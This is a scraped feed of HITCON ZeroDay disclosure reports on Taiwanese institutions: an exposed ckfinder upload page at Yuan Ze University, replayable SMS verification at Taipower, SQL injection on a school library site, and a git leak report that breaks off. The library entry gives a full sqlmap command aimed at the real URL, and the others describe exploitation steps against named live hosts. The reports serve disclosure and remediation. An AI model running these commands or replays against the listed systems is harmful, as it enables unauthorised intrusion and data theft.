 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 13 Oct 2022 00:44:27 GMT</pubDate></item><item><title>元智大學後臺未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00792</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00792
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/57">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      元智大學
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      元智大學後臺未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已複測
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/24 16:54:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/24 16:55:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/25 23:22:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/26 00:54:07
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/26 00:54:19
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/27 19:21:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/27 19:21:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/27 19:21:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:53
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:37:58
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:38:14
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:38:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:55:26
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      確認已修補 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 03:00:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00792
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。
    <br/>
    <br/>
    OWASP Top 10 - 2013 A4 - Insecure Direct Object References
    <br/>
    https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
    <br/>
    <br/>
    Insecure Direct Object Reference Prevention Cheat Sheet
    <br/>
    https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md
    <br/>
    <br/>
    OWASP Top 10 - 2017 A5 - Broken Access Control
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://yzuartcenter.com/
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     1.首頁瀏覽
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7955/attachments/9ffd43c8ffe59f7bf60bb7a79c9a7ad3"/>
     <br/>
     2.使用dirb進行掃描，發現路徑「ckfinder/ckfinder.html」
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7955/attachments/0727b87f13b4ad358dcb0744d64bcd00"/>
     <br/>
     3.瀏覽發現網站存活
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7955/attachments/a7ec0f6e78f869a6b17772379317a6e6"/>
     <br/>
     備註一：image具有檔案，因懶得打碼所以以「file」資料夾呈現可以瀏覽
     <br/>
     4.嘗試上傳圖片，並上傳成功
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7955/attachments/2fb1da810b46e73746fc5973643d23ce"/>
     <br/>
     5.成功瀏覽上傳圖片
     <br/>
     <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7955/attachments/b1056f5ac6738480db996bfceb55a202"/>
    </p>
    <p>
     備註二：此網頁可以透過上傳圖片至資料夾「Image」並修改名稱，以達到「修改前台」之目的
     <br/>
     備註三：ckeditor/config.js也有相關路徑
     <br/>
     備註四：本人上傳圖片已刪除，並無修改任何檔案
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   修補建議
  </h3>
  <div class="section-content zdui-md-content">
   <p>
    將此頁面放置內網，使外部無法存取即可
   </p>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7955/attachments/a7ec0f6e78f869a6b17772379317a6e6" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7955/attachments/0727b87f13b4ad358dcb0744d64bcd00" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7955/attachments/2fb1da810b46e73746fc5973643d23ce" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7955/attachments/b1056f5ac6738480db996bfceb55a202" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7955/attachments/9ffd43c8ffe59f7bf60bb7a79c9a7ad3" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/57">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 24 Sep 2022 16:54:16 GMT</pubDate></item><item><title>[Bounty] 台灣電力公司  用電診斷中心 Broken Access Control</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00571</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00571
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/2577">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      台灣電力公司
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      [Bounty] 台灣電力公司  用電診斷中心 Broken Access Control
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Broken Access Control
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/02 02:18:46
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 MksYi 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/02 02:20:22
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 MksYi 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/02 09:15:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/02 09:28:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/13 17:12:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 11:05:17
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      複測申請中 (由 組織帳號 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 03:00:01
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00571
    </li>
    <li>
     通報者：MksYi (
     <a href="/user/MksYi">
      MksYi
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：存取控制缺陷 (Broken Access Control)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料，或連線至高權限使用者的頁面。
    <br/>
    <br/>
    OWASP Top 10 - 2017 A5 - Broken Access Control
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
    <br/>
    <br/>
    CWE-284: Improper Access Control
    <br/>
    https://cwe.mitre.org/data/definitions/284.html
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    https://61.65.236.99/sign-up
    <br/>
    https://61.65.236.99/reset-password
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <h2>
     Broken Access Control
    </h2>
    <h3>
     註冊功能
    </h3>
    <ol>
     <li>
      嘗試使用加入會員功能，並且發現有簡訊驗證碼機制。
      <br/>
      <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7734/attachments/67c79682e48b829e7e887eab4a8c7677"/>
     </li>
     <li>
      驗證是否可以側錄封包後並重送。
      <br/>
      <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7734/attachments/52b0f80a86bc16177da0d38f2b19d747"/>
     </li>
     <li>
      於是收到大量驗證碼。
      <ul>
       <li>
        並且發現每一組驗證碼都可以使用！！！
        <br/>
        <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7734/attachments/ac3d8991511051da97d8ba29d8e9429e"/>
       </li>
      </ul>
     </li>
    </ol>
    <h3>
     忘記密碼功能
    </h3>
    <ol>
     <li>
      忘記密碼一樣有寄發簡訊的機制，但仍然可以錄製封包並重送。
      <br/>
      <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7734/attachments/15fefd9d2bfc75e8cc4e541434de3bd9"/>
     </li>
     <li>
      收到大量簡訊。
      <br/>
      <img alt="圖片" src="https://zeroday.hitcon.org/api/vulnerability/7734/attachments/a88f135f4f341d2278f431766af5fdb5"/>
     </li>
    </ol>
    <h2>
     危害
    </h2>
    <ol>
     <li>
      該弱點可以讓有心人士利用他人電話號碼進行註冊，或是利用已知的會員電話號碼重置新密碼。
     </li>
     <li>
      可以利用此方法向任何人寄送簡訊，並且簡訊上有「台電會員註冊」字樣，利於有心人士損壞名譽。
     </li>
     <li>
      由於簡訊可以被大量寄送，可以利用自動化腳本大量請求，以導致簡訊寄送費用增加。
     </li>
    </ol>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   修補建議
  </h3>
  <div class="section-content zdui-md-content">
   <p>
    1. 建議驗證限制保持前後端一致性。
    <br>
     2. 寄發新的驗證簡訊之後，應移除舊驗證碼的有效性。
    </br>
   </p>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7734/attachments/67c79682e48b829e7e887eab4a8c7677" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7734/attachments/52b0f80a86bc16177da0d38f2b19d747" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7734/attachments/ac3d8991511051da97d8ba29d8e9429e" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7734/attachments/15fefd9d2bfc75e8cc4e541434de3bd9" width="320"/>
     </span>
    </li>
    <li>
     <span>
      <img src="/api/vulnerability/7734/attachments/a88f135f4f341d2278f431766af5fdb5" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/2577">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 02 Aug 2022 02:18:46 GMT</pubDate></item><item><title>HITCON ZeroDay 德光高中 SQL injection</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00659</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00659
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/4">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      圖書館網頁
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      HITCON ZeroDay 德光高中 SQL injection
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      sql injection
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/15
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/08/15 21:34:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 birdie 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/17 20:29:07
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 birdie 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/22 11:57:31
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/08/31 18:05:23
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/15 03:00:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      公開 (由 HITCON ZeroDay 平台自動更新)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00659
    </li>
    <li>
     通報者：smallbird (
     <a href="/user/smallbird">
      birdie
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   參考資料
  </h3>
  <div class="section-content url">
   <div>
    攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。
    <br/>
    <br/>
    漏洞說明： OWASP - SQL Injection
    <br/>
    https://www.owasp.org/index.php/SQL_Injection
    <br/>
    <br/>
    漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
    <br/>
    https://www.owasp.org/index.php/Top_10-2017_A1-Injection
    <br/>
    <br/>
    漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    <br/>
    https://cwe.mitre.org/data/definitions/89.html
    <br/>
    <br/>
    防護方式： OWASP - SQL Injection Prevention Cheat Sheet
    <br/>
    https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
   </div>
   <div align="right" class="section-content url" style="color: grey; margin-top: 20px">
    (本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-url">
  <h3 class="sec-title">
   相關網址
  </h3>
  <div class="section-content url">
   <div class="urls">
    http://libsrv.tkgsh.tn.edu.tw/webopac7/page_01.php?iid=73
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   敘述
  </h3>
  <div class="section-content zdui-md-content" id="detail">
   <div>
    <p>
     對圖書館網頁的 iid 進行 SQL injection，可以看到資料庫所有表。也可以知道資料庫是哪一種。
     <br/>
     payload:
     <br/>
     sqlmap -u "
     <a href="http://libsrv.tkgsh.tn.edu.tw/webopac7/page_01.php?iid=73">
      http://libsrv.tkgsh.tn.edu.tw/webopac7/page_01.php?iid=73
     </a>
     " --risk="3" --threads 5 --dbms="mysql" --dbs
    </p>
   </div>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   擷圖
  </h3>
  <div class="section-content screenshot">
   <ul>
    <li>
     <span>
      <img src="/api/vulnerability/7822/attachments/d6b865593006cbf174eb93ac2c663946" width="320"/>
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   聯絡組織
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="input-comment">
     <a class="zdui-button okgo" href="/up/message/channel/create/vendor/4">
      <i class="far fa-envelope">
      </i>
      發送私人訊息
     </a>
     <div class="remind-text">
      您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。
     </div>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 15 Aug 2022 21:34:08 GMT</pubDate></item><item><title>國立臺灣大學資訊工程學系 git 洩漏</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00656</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00656
     </span>
    </li>
    <li class="vendor">
     <a class="zdui-button send-message okgo" href="/up/message/channel/create/vendor/12">
      <i class="far fa-envelope">
      </i>
      發信
     </a>
     <span class="label">
      Vendor:
     </span>
     <span class="value tx-overflow-ellipsis">
      國立臺灣大學
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      國立臺灣大學資訊工程學系 git 洩漏
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      原始碼洩漏
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    公開
   </div>
   <div class="status-descr">
    Last Update : 2022/10/15
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node warning">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未回報修補狀況
      </span>
     </div>
    </li>
    <li class="non-stop">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="">
